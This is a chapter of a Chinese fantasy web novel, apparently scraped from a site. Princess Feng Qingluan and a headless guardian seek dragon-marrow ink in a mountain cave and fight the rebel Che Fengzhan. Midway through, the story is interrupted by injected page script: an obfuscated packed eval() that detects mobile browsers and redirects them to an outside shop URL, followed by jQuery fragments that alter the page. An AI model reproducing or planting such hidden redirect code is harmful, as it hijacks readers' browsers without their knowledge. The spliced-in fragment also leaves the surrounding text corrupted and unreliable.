(原创作品,盗窃缺德)
从一个战场到另一场战斗,会有多少的迷茫,潜在的危险没有人能知道,就像生命还能给她什么……
同样,她也不知道战争还会给北燕留下什么,有多少不同的历史走向在等着她,就像这“帝血”一事是怎么诞生的,是真是假?
她怀疑过无头影嗣的动机,他的出现不像是刻意安排的。
她对他的仇恨是真的,可共患难也是真的,当前的敌人更是真的,或者说拯救北燕是他们最迫切的需求。
她开始冷静的思考这“帝血”究竟会是谁,北燕这时是慕容雪吗?是车风盏会造反成功,坐上宝座而称帝吗?还是她自己有着皇家血统?还是大燕的始祖?又都不太像……
她再一细想:称“帝”这事,应该是从始皇帝才有“受命于天,既寿永昌”,放眼天下目前谁也不能妄称,这样看来应该另有说法,既然影嗣提示这事,那就一起去试试,大不了连同旧仇新恨一起算。
“影嗣,车风盏逃往了医巫闾山,难不成那里有龙脉能助他称帝,你跟我去继续战斗吧,找到帝血,把我们需要的《燕阙神图》补全,我们个人恩怨以后再算,我饶不了你!”
难道她就没有想过:他为什么要听她的,真就是欠她的吗?
她饶不了他又是怎么回事?
应该是时空欠北燕一段历史。
无名影嗣在太阳下,做出一个骏马奔跑的样子,不管是要勇往直前,还是驮她上路。
他心理明白:自己应该为她服务,目前需要为了共同目标而努力。
她一看心中也很高兴,于是,牵过青骢流云战马,带着风声翻身上马,然后右手一挥,对影嗣做了出发动作。
一步,两步,缓慢的前行,马蹄把雪上的心事细说风与寒,山石与草木斗成了一路上的牵绊。
影嗣快赶上几步,伸手牵过马缰绳,把白雪的美丽,阳光的温暖都给这马上的公主。
如果不是还有战斗,何不来一场踏雪寻梅的风流。
北方高山上的早春会更冷,逆风把晨曦吹在雪里,相传医巫闾山有着龙脉。
“你说话呀,我不想要这种寂寥。”冯青鸾这些天的遭遇很累了,想找个话题开开心。
这不是强人所难吗,他是无头影嗣,但他的灵性早就在成长中。
他立刻勒了一下马缰绳,让它抬起头,迎空嘶鸣一下。嘶鸣声在山谷里回荡,像在穿引一个神话,马嘴边的热气早把境界给仙化了,霞光又在雄伟着他们的身影,头顶带着祥云光环。
这时,马的一声哧鼻响,似在精妙地回答着她的微笑,这画卷有点微甜——人与马说上了话,他好像成了多余的外人。
当然了,她也被这画面感染到了,感觉快乐也是件非常容易的事。
于是,她又继续对他说道:“难为你了,上马吧,我们要对得起这可爱的阳光呀?”
冯青鸾呀,你明知道他不能回答,难道就愿意享受这倾诉的过程吗!
这样的胸怀,说与战时又是多么残酷的美丽。
神燕给他无头无脑而有心的设定,一定是别有用心的,对人世间精妙地把控,不要考虑过多的人情世故,单纯的投入到《燕阙神图》中。
他翻身上马,在马上稳了一下身形,似在探寻远方还有多少心事。
马飞奔而去,她赶紧把小脸贴在他温暖的背后,冷风被他分开,在马后面又旋出一个小旋风!她这一刻忘了父仇,只在享受这种惬意的感觉。
他挺直的躯壳,感觉到了这种贴心的跳动,首次感觉人间的温度。
她一时又在想:这燕神为什么留有这么多的遗憾,你影嗣为什么不能早点结束争斗,但她又想:如果这一切都结束了,对错又从何说起?
如何斗争结束了,她也许只有面对父仇一事!
她不敢想了,不想打破这短暂而难得的温暖!她不止一次的恨过这乱世。
其实她也知道,所有的神仙都没有那么完整、全能,有些事情你求过绿袍财神,却错拜了张飞,只能给你梦中桥头一声大喝——我乃燕人张翼德!
有些事以后再说。
马儿飞,飞呀飞,有了远古马铃声传来。
她不自觉的揺动一下玄铁混金铃。
铃声与马蹄声互相通灵,马儿飞出了更高维度,马鬃在奔跑中发光,一闪一闪的在放点,一会在马背上勾勒出半幅残缺的“神骑图”。
她们飞进了这一个维度中,那里有龙马精神,把他们身后的雪景逐渐淡化。
冯青鸾依然侧脸伏在他背上,忽然,看到马眼中映出龙骨洞虚影,一道金色光门打开,门后传来龙髓墨的远古书香。
她突然有了灵息——原来帝血是龙髓墨香。那还等什么,找吧,把图补全,总也不能把北燕留下片片残城!
冯青鸾一高兴呀,说道:“影嗣,快把医巫闾山的山脊挑开,这龙脉下必有龙髓!”
影嗣听后,伸手借她玄铁混金铃一用。
“轰”的一声,山爆炸开花,响声回荡山谷之中,恍惚间有“真龙遗骨”显现在龙骨洞中,这《燕阙图神》有点真实的感觉了。
底图已附无名影嗣,但“帝血”还没有得到,底图仍然不稳。
当时,车风盏带星斗副图逃来医巫闾山阴,本打算在初印坛以女娲残灵化家燕头骨为祭,强开幽燕门取龙髓墨 ,去调和三图,打算完全掌控北燕。当他知道真龙遗骨会有龙髓,也打算奋力去夺取。
城可残,仍有龙图、龙卷,一卷又一卷的书写着。
她知道这山里有宝物,可她也知道世间的宝物,从来都不能让她轻易获得,财宝是有主人的,该你得三分财,就没有那个八分的命。
只恨身边这影嗣不能说话,分享不了真正的财宝,这时她心中真正的财宝是什么?
她深知:这龙气地脉一说,更不是凡物,都在守护天地神灵,每一次神灵被惊动、被打扰,就是对整个宇宙的破坏,当宇宙不再有秘密,就是大燕要到了毁灭的时候。
起了雾,模糊了视线,冯青鸾以血涂抹于掌心,才能在仙雾中辨别路径。
无头影嗣,反而不受迷惑。
炸开花的山脉下有龙骨洞,这龙脉为跳动的亿万条微若灵息构成,时刻在上天入地的聚聚散散。
他们走近一看,洞门这整块龙颚骨,沟痕一道一道的,似被猎物尖角硬划出的旧伤,现看来都能感觉到当时的疼痛,也不知道当年,都吞下了什么世间万古灵物,巨齿森然而恐怖,额骨缝中镶嵌着乌铁环,必须以燕血为祭才可能被拉开。
冯青鸾割开掌心,血滴入龙齿,颚骨巨门缓缓张开,有浑顿之气飘散,“龙”似复活,发出低沉的嗡鸣,又听到有滔滔的水声自地脉下传来。
《燕阙神图》中的燕是鸾鸟吗?
他们很是惊喜,带着些许忐忑之心去收获。两颗心互相鼓励着,谨慎的前行,每一次进入不同环境,他与她都默默的感知着彼此合作的心声。
洞内倒悬很多奇特的石钟乳,皆化作各不相同的龙形,不经意间有巨大的蝙蝠飞出。龙行有万态,龙静入四海,所以真龙都在她们的身边。
她为他不能看到这个风景而小憾,可影嗣却时刻走在前面探路,用腔口不断的收集气息,为她的安全提供保障!
走到了洞中央,她看见一个乌紫色龙骨巨柱,高九丈,粗八尺,这个龙骨很特别,表面上有细下而密集的倒刺,而且这倒刺分为上下两个方向,分别把整根骨柱分为两极,一面旋转向上,一面旋转向下。
冯青鸾看向影嗣,不禁提出疑问:这龙骨为何如此?
影嗣思索后,并不能给出完全合理的解释,于是用手在空中写出:不懂!我们是来取龙髓墨的!
这时她才想来还有正事要办,差一点被这珍奇之物耽误了,可她还是分析了一下这龙骨:倒刺的两个部分,似两条太极大鱼盘旋在柱上,肯定是为了天地互补,上天用向下的倒刺,入地用向上的倒刺……
她看见骨腔内含有金墨龙髓,这龙髓并非液体,而是一团悬浮的金墨色光团,光团里蜷着一道微型的胎龙之魂虚影,周身缠绕着金色的龙纹。
冯青鸾伸手去触碰时,光团骤然间炸开,无数墨色的龙鳞碎片钻进她的指尖,顺着血脉游走,她瞬间看见大燕的山川河流在眼前流转,耳边响起远古龙语的低吟。
这龙吟声震得她们心疼欲裂,她痛苦的用右手捂住心口,腰都佝偻几分,眼看要抽筋不断的缩小身体,直到消失,她呻吟着:“影嗣救~我~”
无名影嗣见状赶紧忍着痛苦,用右手石掌心把飞鸟纹护住她的后心,把灵力不断输入她体内。当她心络血色亮起时,影嗣的铜齿轮,在身体发出不堪重负的吱呀声,裂纹里溢出的银光落在龙髓上,竟让龙魂虚影温顺地蜷缩起来。
这似乎在验证她对大燕的传承,对百姓的真心,然而,她也清楚《燕阙神图》的完成则影嗣灭!
她为何不能背刺影嗣!可能影嗣从未怀疑过她。
她这时很是矛盾——补全神图他灭,现在补图停止,也就是放弃救她,则她必被龙吟声抽筋缩身而亡。
她的心反复的跳着,他们也一次次在死与生间徘徊。
万幸的是这影嗣不是完人,几次折磨下来,惊动了当时她撒在体内的神粟,这神粟不停的在他腔内旋转,力量越来越大,把他们旋转起来后,又围绕着巨大的龙骨柱旋转,一下子就破解了龙吟的攻击!
他们在旋涡中,恢复了能力,冯青鸾说道:“影嗣,快先取龙髓墨!”
可他在取龙髓时发现了问题:这龙骨刀枪不入,火水不惧,常规力量对它没有作用!
他一着急露出胸腔齿轮与飞鸟纹脉,他以手指骨为虚刀,剖龙骨腔,取龙髓一灵勺?
金墨滴在雪地,竟燃起黑火,龙髓墨可调和三图,但亦会加速图主快速灰化,无名影嗣像通灵的工具,最后会完全消失……
冯青鸾突然想起来的什么,大喊:“不行,影嗣,我还要报杀父之仇,你不能消失!”
一时的家仇国恨!
她不得不以龙髓替他绘制出背脊恋尘纹,先把补图一事放下——不能就这样让他离开!
这 事情进展的有点太顺利,而她又想到了私仇?还是她不想让他就这样在眼前消失,是否怕目标都实现了,就会感到人生不再有任何意义?
无头影嗣守图的意义,不就是把一切交给可托付的人吗,让大燕之魂延续。
也许,只有把一个人,分割在两个时空,才没有矛盾。
他们还在旋转着……
当山石开花的时候,引起了震动。
车风盏奔着龙骨洞赶来,想亲自补全《燕阙神图》,不然,这北燕可没有那么好控制,慕容雪这娘们不是好骗的。
想到这,他嘴角露出一抹幽毒,一幅江湖老辣之态。
他肯定不想在慕容雪面前再次失败。
当时,车风盏踏过初印坛上未干的血迹,身后跟着三名蒙面修士,袍角绣着暗金色“燕”纹,那是慕容雪暗中培养的骨巫。
他攥着星斗副图的手指有点抖,副图边缘已开始褪色,女娲化燕骨的祭祀还缺最后一缕‘生魂’,若拿不到龙髓,这副图撑不过今夜。
车风盏抬手,唤出漫天的骨巫,那些骨巫并非寻常骷髅,而是身披冰铁白骨甲,眼眶里燃着幽界绿色的鬼火,手里的骨矛,赤色的火焰喷成天女散花,火焰与魔瘴相撞时,发出“滋滋、呀呀”的声响,腾起的黑烟里飘着烧焦的骨屑灰,大有将一切化乌有之势。
一名骨巫突然屈膝跪在地下,指节扣着地面发抖:“大人,龙骨洞方向有龙威外泄,冯青鸾他们……恐怕已经破了龙颚门!”
车风盏猛地转身,手按在腰间佩剑上,剑鞘里传来细碎的嗡鸣——那是用前朝大燕将领骸骨遗魂才熔铸的“碎魂剑”。
哪个腰间玉带似乎也在感知这新法器。
“慌什么?”
他冷笑一声,从怀中掏出个精致的青铜小鼎,鼎身刻满弯弯曲曲的老道符文
“我早算到有这一遭,这‘锁龙鼎’能吸走龙髓的灵息。你们随我去龙骨洞外守着,等他们取完龙髓后,咱们再坐收渔翁之利!”
冯青鸾正看着,他指心的伤口还在渗血。忽然,听见洞外传来青铜碰撞的声响。
她刚要提醒,影嗣已将盛满龙髓的玉勺塞进她手中,自己则提着燃着黑火的骨刃走向洞口:“你先带着龙髓去补图,我来挡住他们。”
冯青鸾却攥住他的衣袖,将一滴血滴在玉勺里,龙髓墨瞬间泛起红光:“之前你说无心无头就不会死,可我刚才看见,你胸口的齿轮上有了裂纹。这滴血能暂存你的灵息,等把图补完,就来换你去成全神图。”
一厢情愿的自以为是,影嗣守图是要找到合适的时候,以身拓图,以灵力正图,恢复大燕荣光,那千年的隐忍绝不可替代。
话音未落,洞外传来车风盏的喊话:“冯青鸾,把龙髓交出来!否则我让这龙骨洞崩塌,咱们一起埋在这龙脉里!”
他们感觉危险了,这车风盏的威力一点都不比妖魔差,特别他还有军威加持,而今他们又被困龙骨洞中。
无名影嗣果断地推开她的手,手指骨刃上的黑火窜起三尺高,出现了字幕:你快走,去把图补全,北燕才有救。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398667|200391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
冯青鸾咬咬牙,抱着玉灵勺中的龙髓冲向洞深处的《燕阙神图》残卷,身后传来手指骨刃与碎魂剑碰撞的脆响。
可这时龙骨巨魄又苏醒的了,开始恢复龙吟,只是这次功力大减——她知道,自己必须快一点,再快一点,才能让无名影嗣的牺牲不白费。
世间就是个矛盾的过程,把图补全他得消失,不补他们都可能被消灭。
龙吟声中有具龙骸出现,发出了龙雾来攻打她,一支雾箭向她射来,箭头为龙髓黑金墨,一击正中她眉心……
什么事情都有风险,没有什么必须为你的愿望牺牲,想拿龙髓补《燕阙神图》——臭美吧,想得好!
冯青鸾流了眉心血,有了伤痛,可影嗣在守住洞口,身边没有旧倚靠,只好以铃音御龙雾,短暂迷晕龙骸……
无名影嗣没有心疼她流血的机会,刚被她以龙髓归位,他不由多想的以火鸦图引龙髓火,自焚半身,借心火之势斩杀在洞口,力抗车风盏。
战斗还在玄幻的演绎着,没有人愿意放下对前途的倔强。
车风盏又以女娲化家燕头骨前,割百姓百人之心血,绘制出北天七星大阵,把副图高高挂起——幽燕门渐渐地已张开有半人宽,他要放出旧邪神带着毁灭之力,来夺龙髓。
他抬头,对龙骨洞里的影嗣与最里面的冯青鸾露出一个苍白笑意: “来,以帝血,迎大燕重归,放下抵抗,撤出北燕。”
漂亮的话都会唱。
“谁给你的勇气,敢来与我们争夺北燕?”冯青鸾含着怒气的大声喊“你忘了本份!”
她不知不觉的又想到了影嗣。
一时的大燕,一时的江山,一时的心。
后有龙骸吐雾反噬,前有逆臣挡道,中有上天无道,入地无门,剩下两颗心的孤零。
“冯跋先帝如果还在,也许我仍然会像奴才一样的活着,我为什要受制于你,就算你是公主,可现在又不能名正言顺的活着,你要替你的父亲承担恶果!”
“看来,当时你就没有打算真心帮助我,但也不至于就这样快的反目成仇,过去不管谁对谁错,可眼下,我真心想让北燕百姓过让安定的日子!”
“别拿百姓说事,有谁不想骑脖子上拉屎,作威作福,为何我不能为自己干一把大的,我也能为百姓。”
“慕容雪给你多少蛊惑,让你如此欲望膨胀,难道我们就不能共同为了北燕百姓——活一次吗?”
影嗣揺手,一直在催她赶紧把图补全。
她视若无睹,她怎么了?
“你现在是镇魂司,无情最是帝王家,卸磨杀驴的事还少吗,何况你们丫头片子根本不中用,让我依靠你们,最后怕尸骨无存,赶快混蛋!”
她听出来,他同时也不完全不相信慕容雪。人这物种就是善变,看来战斗在所难免!
内外同时都受到了威胁,她跑向无名影嗣,似乎让他决定怎么办。
可龙骸雾也跟着逼进,她再以玄铁混金铃音揺曲御敌。
她突然想起北燕的民间大法,她快速的在脚下画出两个圆圈,从影嗣腔内取几粒粟,放入圈中,然后她一脚踩进圈内,把粟踩在脚心,对着龙骸雾发动功法,口中念念有词:“摸摸毛儿、吓不着,小龙儿回家吃饭啦……”
这龙骸雾一下子就停顿了!到第三次的时候,龙雾开始向龙骨洞的深处收缩……
这时,他拿起她的右手,用食指沾染她流着的血,随后在他胸前画出三条血路,她手在轻轻地颤抖,有龙髓墨烫穿他肩胛,也烫痛她心,她首次明确感觉到身份带来的悲怆。
无名影嗣在龙骨火中自焚,却用虚掌替她挡住火舌。
龙骨洞取真山之势,再赋予龙骸,龙髓墨为调和神图之钥,他痛苦的燃烧,烟雾中有了半页神图在飞,却意外的卷起她向洞外飞去。
这图,这画面,这时怎么又像一纸吊文——在空中吊他将要离开尘世!
冯青鸾带着无尽的忧伤,轻轻地说道:“如果把三图合一你会先死。”
他用石指在地上写到:我的魂还会在!
冯青鸾撇过头去,喉头却发紧——无头人,也会心痛,也会焚成灰而变成神图?
冯青鸾在半残的飞卷上,看着影嗣身上越来越多的裂纹,指尖微微颤抖,她声音里带着不易察觉的沙哑,她的鬓发被龙雾打湿,贴在脸颊上,眼底的担忧与决绝交织在一起——我们还要一同战斗,不能死。
无头影嗣低下头,又忽地抬眼望向冯青鸾,他没有五官,可冯青鸾却能从那片轮廓里,读懂他的意思。
他抬手,伸长了石臂,在空中替她拂去鬓角的水珠,指尖的石光落在她脸上,有点微凉的触感——我相信你能真的为了大燕,为了北燕。
龙雾再次飘起,淡金泛着紫光,带着松脂与血腥味,雾中浮现多须游龙,一沾皮肤立即冰冷钻心,冷到她无情,无感觉,唯有冲出去,才能活下去。
机会来了,车风盏持箭,射向她心口,士兵同时万箭齐发,箭流成河。
这时,卷着她的半券残图已经变成飞舟,逆流而上,她甩出彩袖把影嗣缠住,轻轻一拉就把他带到了飞卷之上……
后面的龙雾疯狂的向飞舟攻来,反而成就了飞卷飞舟的神奇魅力——破着箭浪,领着龙雾御箭飞升、图卷也飞升,这只是《燕阙神图》神奇的一小点……
这画面有多少悲情的豪迈,舟底金光碾过箭尖,发出“铮铮”的脆响,箭河竟被硬生生劈开一条通路,像水波一样向后荡去。
他们掠过车风盏的头顶,飞落在青骢马上。
只是这无头影嗣受了重伤,不得不趴在她后背上。
车风盏回头再想拉弓射箭,可这时眼前七彩神光中,分明有龙马在飞,马蹄下有正在燃烧的半页神图,他不禁再次幻想到——北燕有神灵,他自己也是受命于天?他紧紧的攥住弓箭,出着神。
尽想美事,什么天降异象,怎么不说天理昭彰呢——结果龙雾把车风盏,骨巫们都推进了山谷……
无名影嗣虚掌覆她手背,轻刺她心脉,一滴血被引出,在空中凝成小小燕尾,点在了她的眉心,解去那墨伤,龙髓墨遇血,如丝帛遇到烈火,噼啪退散,同时带走了玉勺里所有龙髓墨……
她喘息着,看着受伤的影嗣,叹息道:“这燕神究竟为的是什么,你影嗣又守护的是什么,这北燕的路还有多远?
雪地上来时的蹄印,像刀在白绢上雕得一幅残缺的风景。
冯青鸾回望远处的龙城,只剩一条暗红色的一片残云卧于天际,像未愈合的伤口……
最是无情帝王家
早知有恨
何不种桑麻……